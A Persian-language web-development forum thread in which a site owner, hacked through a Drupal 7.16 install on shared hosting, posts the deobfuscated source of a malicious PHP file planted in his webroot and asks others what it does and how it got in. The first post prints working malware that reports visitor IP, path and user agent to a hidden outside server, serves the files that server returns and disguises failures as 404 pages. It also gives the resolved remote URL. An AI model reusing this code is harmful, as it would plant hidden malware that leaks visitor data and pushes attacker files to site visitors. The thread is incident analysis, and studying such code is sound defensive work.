/
  • اسکریپت تروژان!

  • ارسال پاسخ   امتیاز موضوع:
    • 0 رأی - میانگین امیتازات: 0
    • 1
    • 2
    • 3
    • 4
    • 5

    حالت موضوعی | حالت خطی اسکریپت تروژان!
    نویسنده پیام
    itstaghi آفلاین
    عضو
    ***

    ارسال‌ها: 144
    تاریخ عضویت: ۱۳۹۰ مرداد ۳۰
    اعتبار: 1
    تشکرها : 72
    ( 88 تشکر در 58 ارسال )
    ارسال: #1
    اسکریپت تروژان!
    برای اولین بار هک شدم. فایلی به اسم press.php توی فولدر روت آپلود شده که هم encode شده هم obfuscate.
    یه مقداری باهاش سر و کله زدم و سورسش رو در آوردم:
    کد PHP:
    error_reporting(0);
    ini_set("display_errors"0);
    $key 0;
    $i 0;
    foreach (
    str_split($_SERVER["REQUEST_URI"]) as $letter) {
        
    $key += ord($letter);
        
    $i++;
    }
    if (!(
    $i 10)) {
        
    $i();
        exit();
    }
    $key ^=  $key;
    $key += 32;
    $key str_repeat(chr($key), 8);
    function 
    error_404() {
        
    header("HTTP/1.1 404 Not Found");
        
    $uri preg_replace("/(\?).*\$/"""$_SERVER["REQUEST_URI"]);
        
    $content http_request_custom("http://" $_SERVER["SERVER_NAME"] . "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
        
    $content str_replace("/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA"$uri$content);
        exit(
    $content);
    }
    $ip "125.89.44.28";
    $port "80";
    $path "/fdn/entry.php";
    $query = array();
    $query["ip"] = getIp();
    $query["path"] = "$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
    $query["useragent"] = getUseragent();
    $url "http://" convertIpToString(1048202089 ^ (ord($key[0]) + ord($key[1]) + (strstr(substr($_SERVER["REQUEST_URI"], -4), ".php") == FALSE 65 ip2long($ip)))) . ":" $port $path "?" http_build_query($query);
    $content = @file_get_contents($url);
    if (
    strlen($content) < 10) {
        
    error_404();
    }
    $content explode("\n"$content);
    $filename array_shift($content);
    $content implode("\n"$content);
    if (
    strstr($filename".html") === FALSE) {
        
    $type "application/octet-stream";
        
    header("Content-Type:" $type);
        
    header("Content-Disposition: attachment; filename=" $filename);
        
    header("Content-Length: " strlen($content));
    }
    echo 
    $content;
    exit();
    function 
    http_request_custom($params) {
        if (!
    is_array($params)) {
            
    $params = array("url" => $params"method" => "GET");
        }
        if (
    $params["url"] == "") return FALSE;
        if (!isset(
    $params["method"])) $params["method"] = (isset($params["data"]) && is_array($params["data"])) ? "POST" "GET";
        
    $params["method"] = strtoupper($params["method"]);
        if (!
    in_array($params["method"], array("GET""POST"))) return FALSE;
        
    $url parse_url($params["url"]);
        if (!isset(
    $url["scheme"])) $url["scheme"] = "http";
        if (!isset(
    $url["path"])) $url["path"] = "/";
        if (!isset(
    $url["host"]) && isset($url["path"])) {
            if (
    strpos($url["path"], "/")) {
                
    $url["host"] = substr($url["path"], 0strpos($url["path"], "/"));
                
    $url["path"] = substr($url["path"], strpos($url["path"], "/"));
            } else {
                
    $url["host"] = $url["path"];
                
    $url["path"] = "/";
            }
        }
        
    $url["path"] = preg_replace("/[\/]+/""/"$url["path"]);
        if (isset(
    $url["query"])) $url["path"].= "?{$url['query']}";
        
    $port = isset($params["port"]) ? $params["port"] : (isset($url["port"]) ? $url["port"] : ($url["scheme"] == "https" 443 80));
        
    $timeout = isset($params["timeout"]) ? $params["timeout"] : 30;
        if (!isset(
    $params["return"])) $params["return"] = "content";
        
    $scheme $url["scheme"] == "https" "ssl://" "";
        
    $fp = @fsockopen($scheme $url["host"], $port$errno$errstr$timeout);
        if (
    $fp) {
            if (!isset(
    $params["User-Agent"])) $params["User-Agent"] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";
            
    $request "{$params['method']} {$url['path']} HTTP/1.0\n";
            
    $request .= "Host: {$url['host']}\n";
            
    $request .= "User-Agent: {$params['User-Agent']}"\n";
            if (isset(
    $params["referer"])) $request .= "Referer: {$params['referer']}\n";
            if (isset(
    $params["cookie"])) {
                
    $cookie "";
                if (
    is_array($params["cookie"])) {
                    foreach (
    $params["cookie"] as $k => $v$cookie .= "$k=$v; ";
                    
    $cookie substr($cookie0, -2);
                } else 
    $cookie $params["cookie"];
                if (
    $cookie != ""$request .= "Cookie: $cookie\n";
            }
            
    $request.= "Connection: close\n";
            if (
    $params["method"] == "POST") {
                if (isset(
    $params["data"]) && is_array($params["data"])) {
                    foreach (
    $params["data"] AS $k => $v$data .= urlencode($k) . "=" urlencode($v) . "&";
                    if (
    substr($data, -1) == "&"$data substr($data0, -1);
                }
                
    $data .= "\n\n";
                
    $request .= "Content-type: application/x-www-form-urlencoded\n";
                
    $request .= "Content-length: " strlen($data) . "\n";
            }
            
    $request .= "\n";
            if (
    $params["method"] == "POST"$request .= $data;
            @
    fwrite($fp$request);
            
    $res "";
            
    $headers "";
            
    $h_detected false;
            while (!@
    feof($fp)) {
                
    $res .= @fread($fp1024);
                if (!
    $h_detected && strpos($res"\n") !== FALSE) {
                    
    $h_detected true;
                    
    $headers substr($res0strpos($res"\n"));
                    
    $res substr($resstrpos($res"\n") + 4);
                    if (
    $params["return"] == "headers" || $params["return"] == "array" || (isset($params["redirect"]) && $params["redirect"] == true)) {
                        
    $h explode("\n"$headers);
                        
    $headers = array();
                        foreach (
    $h as $k => $v) {
                            if (
    strpos($v":")) {
                                
    $fgebfn "v";
                                
    $k substr($v0strpos($v":"));
                                
    $v trim(substr($$fgebfnstrpos($v":") + 1));
                            }
                            
    $headers[strtoupper($k) ] = $v;
                        }
                    }
                    
    $soprnmivykr "params";
                    if (isset(
    $params["redirect"]) && $params["redirect"] == true && isset($headers["LOCATION"])) {
                        
    $params["url"] = $headers["LOCATION"];
                        if (!isset(
    $params["redirect-count"])) $params["redirect-count"] = 0;
                        if (
    $params["redirect-count"] < 10) {
                            
    $params["redirect-count"]++;
                            
    $func __FUNCTION__;
                            return @
    is_object($this) ? $this->$func($params) : $func($params);
                        }
                    }
                    if (
    $params["return"] == "headers") return $headers;
                }
            }
            @
    fclose($fp);
        } else return 
    FALSE;
        if (
    $params["return"] == "array"$res = array("headers" => $headers"content" => $res);
        return 
    $res;
    }
    function 
    getUseragent() {
        return 
    $_SERVER["HTTP_USER_AGENT"];
    }
    function 
    getReferer() {
        
    $referer = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "-";
        return 
    $referer;
    }
    function 
    convertIpToString($ip) {
        return 
    long2ip($ip);
    }
    function 
    getIp() {
        
    $ip NULL;
        if (isset(
    $_SERVER["REMOTE_ADDR"])) {
            
    $ip $_SERVER["REMOTE_ADDR"];
        }
        if (
    strpos($ip",") !== FALSE) {
            
    $ips explode(","$ip);
            
    $ip trim(array_pop($ips));
        }
        return 
    $ip;

    توی لاگ های سرور فقط یک جا این اسکریپت با uri زیر فراخوانی شده:
    کد:
    press.php?pizza=uIm6o+IzYVkPLIhU4NQ3irKiR2H9wW7x0KgSLeJk2PY
    اسکریپت رو با این کوئری استرینگ تست کردم نتیجه این شد که آدرس زیر رو تولید می کنه و محتواش رو میخونه:
    کد:
    http://62.122.75.232:80/fdn/entry.php?ip={SITE IP}&path={ROOT PATH}press.php?pizza=uIm6o+IzYVkPLIhU4NQ3irKiR2H9wW7x0KgSLeJk2PY&useragent=Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:32.0)+Gecko/20100101+Firefox/32.0
    (به جای {SITE IP} آی پی سایت و به جای {ROOT PATH} آدرس روت قرار میگیره)
    پس از اینکه محتوا رو خوند اونو با مایم تایپ application/octet-stream سرو میکنه (که احتمالن csv باشه)

    این مساله چندتا سوال برام ایجاد کرده که اگه دوستان محبت کنن و مشارکت کنن مطرح میکنم. (این تاپیک میتونه یه جور آموزش باشه برا دوستان کم تجربه ای مثل من برا سر و کله زدن با مشکلات امنیتی)
    مهمترین سوالم اینه که این اسکریپته یه جور تروژانه؟
    چرا باید یه بابایی از هاست من برا خوندن و سرو کردن فایلی استفاده کنه؟

    ---
    ویرایش: عنوان ارسال اصلاح شد oia
    (آخرین ویرایش در این ارسال: ۱۳۹۳ آذر ۹ ۰۱:۵۴ صبح، توسط oia.)
    ۱۳۹۳ آذر ۶ ۱۱:۵۰ صبح
    یافتن ارسال‌ها پاسخ با نقل قول
     تشکر شده توسط :
    webnevesht آفلاین
    محمدرضا سلطانی
    ***

    ارسال‌ها: 972
    تاریخ عضویت: ۱۳۹۰ آذر ۲۵
    اعتبار: 22
    تشکرها : 384
    ( 702 تشکر در 427 ارسال )
    ارسال: #2
    RE: هک شدم
    ما قبلا یه ریسلری داشتیم از یه سرور سوئدی.خیلی عالی بود اما یکی از سایتها حفره امنیتی داشت و یک نفر از سرور ما کارهای پولشویی انجام میداد و سروره کلا اکانت ما رو بست و حذف کرد حتی بدون اینکه بک آپ بهمون بده و صرفا گفت به چه دلیلی اینکار انجام شده.Blush
    __________________________________________________________________________
    بنده طعم ايمان را نمي چشد، تا اينكه دريابد آنچه اتفاق نيفتاده است نمي شد كه اتفاق بيفتد؛و آنچه شده و اتفاق افتاده است,نمي شد كه نشود و اتفاق نيفتد....حضرت علي(ع)
    ۱۳۹۳ آذر ۶ ۰۶:۳۴ عصر
    یافتن ارسال‌ها WWW پاسخ با نقل قول
     تشکر شده توسط : itstaghi
    itstaghi آفلاین
    عضو
    ***

    ارسال‌ها: 144
    تاریخ عضویت: ۱۳۹۰ مرداد ۳۰
    اعتبار: 1
    تشکرها : 72
    ( 88 تشکر در 58 ارسال )
    ارسال: #3
    RE: هک شدم
    هرکاری کردم نتونستم بفهمم اون سروره چه اطلاعاتی رو به هاست من میداده. از آیپی های مختلفی و با پارامترهای مختلفی آدرس تولیدی رو فراخوانی کردم مدام ارور میده که شما مجاز به دانلود نیستی و هیچ توضیح دیگه ای نمیده.
    حالا سوال بعدی من اینه که چطور بفهمم این فایل چطوری و از چه سوراخی اومده تو؟ و آیا هکر همچین فایلی جاهای دیگه هم تزریق کرده یا نه؟
    توی لاگ های هاست و دروپال هیچ چیزی گیر نیاوردم.
    توضیح: هاستم اشتراکیه و سیستم مدیریت محتوای سایت دروپال ۷.۱۶ هست (بود!) که به دلیل گرفتاری وقت نشده بود آپدیتش کنم.
    (آخرین ویرایش در این ارسال: ۱۳۹۳ آذر ۷ ۰۵:۳۰ عصر، توسط itstaghi.)
    ۱۳۹۳ آذر ۷ ۰۵:۲۴ عصر
    یافتن ارسال‌ها پاسخ با نقل قول
     تشکر شده توسط :
    Reza آفلاین
    رضا شیخله
    *****

    ارسال‌ها: 3,025
    تاریخ عضویت: ۱۳۹۰ آبان ۱۶
    اعتبار: 133
    تشکرها : 2724
    ( 2716 تشکر در 1692 ارسال )
    ارسال: #4
    RE: هک شدم
    نقل قول: هرکاری کردم نتونستم بفهمم اون سروره چه اطلاعاتی رو به هاست من میداده. از آیپی های مختلفی و با پارامترهای مختلفی آدرس تولیدی رو فراخوانی کردم مدام ارور میده که شما مجاز به دانلود نیستی و هیچ توضیح دیگه ای نمیده.
    حالا سوال بعدی من اینه که چطور بفهمم این فایل چطوری و از چه سوراخی اومده تو؟ و آیا هکر همچین فایلی جاهای دیگه هم تزریق کرده یا نه؟
    توی لاگ های هاست و دروپال هیچ چیزی گیر نیاوردم.
    توضیح: هاستم اشتراکیه و سیستم مدیریت محتوای سایت دروپال ۷.۱۶ هست (بود!) که به دلیل گرفتاری وقت نشده بود آپدیتش کنم.
    یه باگ برای دروپال مطرح شده که خود پشتیبان فارسی هم هک شده بود از این طریق
    http://www.drupalcms.ir/node/2088
    __________________________________________________________________________
    -- - RezaWorkShop.ir - blog.RezaOnline.net
    ۱۳۹۳ آذر ۸ ۰۱:۵۰ عصر
    یافتن ارسال‌ها WWW پاسخ با نقل قول
     تشکر شده توسط : itstaghi
    itstaghi آفلاین
    عضو
    ***

    ارسال‌ها: 144
    تاریخ عضویت: ۱۳۹۰ مرداد ۳۰
    اعتبار: 1
    تشکرها : 72
    ( 88 تشکر در 58 ارسال )
    ارسال: #5
    RE: هک شدم
    (۱۳۹۳ آذر ۸ ۰۱:۵۰ عصر)Reza نوشته شده توسط:  
    نقل قول: هرکاری کردم نتونستم بفهمم اون سروره چه اطلاعاتی رو به هاست من میداده. از آیپی های مختلفی و با پارامترهای مختلفی آدرس تولیدی رو فراخوانی کردم مدام ارور میده که شما مجاز به دانلود نیستی و هیچ توضیح دیگه ای نمیده.
    حالا سوال بعدی من اینه که چطور بفهمم این فایل چطوری و از چه سوراخی اومده تو؟ و آیا هکر همچین فایلی جاهای دیگه هم تزریق کرده یا نه؟
    توی لاگ های هاست و دروپال هیچ چیزی گیر نیاوردم.
    توضیح: هاستم اشتراکیه و سیستم مدیریت محتوای سایت دروپال ۷.۱۶ هست (بود!) که به دلیل گرفتاری وقت نشده بود آپدیتش کنم.
    یه باگ برای دروپال مطرح شده که خود پشتیبان فارسی هم هک شده بود از این طریق
    http://www.drupalcms.ir/node/2088
    این باگ و چندتا باگ مهم دیگه ای که اخیرن کشف شدن رو بررسی کردم. هیچکدوم به مورد من نمیخوره. نکته جالب اینجاست که هیچ اتفاقی توی دروپال نیفتاده (البته طبق بررسی های من) به این خاطر بعید میدونم که از یه باگ دروپال برای نفوذ استفاده شده باشه.
    به نظر شما چقدر احتمال داره که هکر از طریق سوراخ سنبه ای مربوط به سرور و نرم افزارهای روش نفوذ کرده باشه؟
    ۱۳۹۳ آذر ۸ ۰۷:۳۸ عصر
    یافتن ارسال‌ها پاسخ با نقل قول
     تشکر شده توسط :
    Reza آفلاین
    رضا شیخله
    *****

    ارسال‌ها: 3,025
    تاریخ عضویت: ۱۳۹۰ آبان ۱۶
    اعتبار: 133
    تشکرها : 2724
    ( 2716 تشکر در 1692 ارسال )
    ارسال: #6
    RE: هک شدم
    نقل قول: به نظر شما چقدر احتمال داره که هکر از طریق سوراخ سنبه ای مربوط به سرور و نرم افزارهای روش نفوذ کرده باشه؟
    چون هاستتون اشتراکیه یکی از احتمال های قوی همین هست .
    __________________________________________________________________________
    -- - RezaWorkShop.ir - blog.RezaOnline.net
    ۱۳۹۳ آذر ۸ ۱۰:۵۴ عصر
    یافتن ارسال‌ها WWW پاسخ با نقل قول
     تشکر شده توسط :
    « قدیمی تر | تازه‌ تر »

    ارسال پاسخ
    پرش به انجمن:


    کاربرانِ درحال بازدید از این موضوع: 1 مهمان
    IranPHP.org | تماس با ما | بازگشت به بالا | بازگشت به محتوا | بایگانی | پیوند سایتی RSS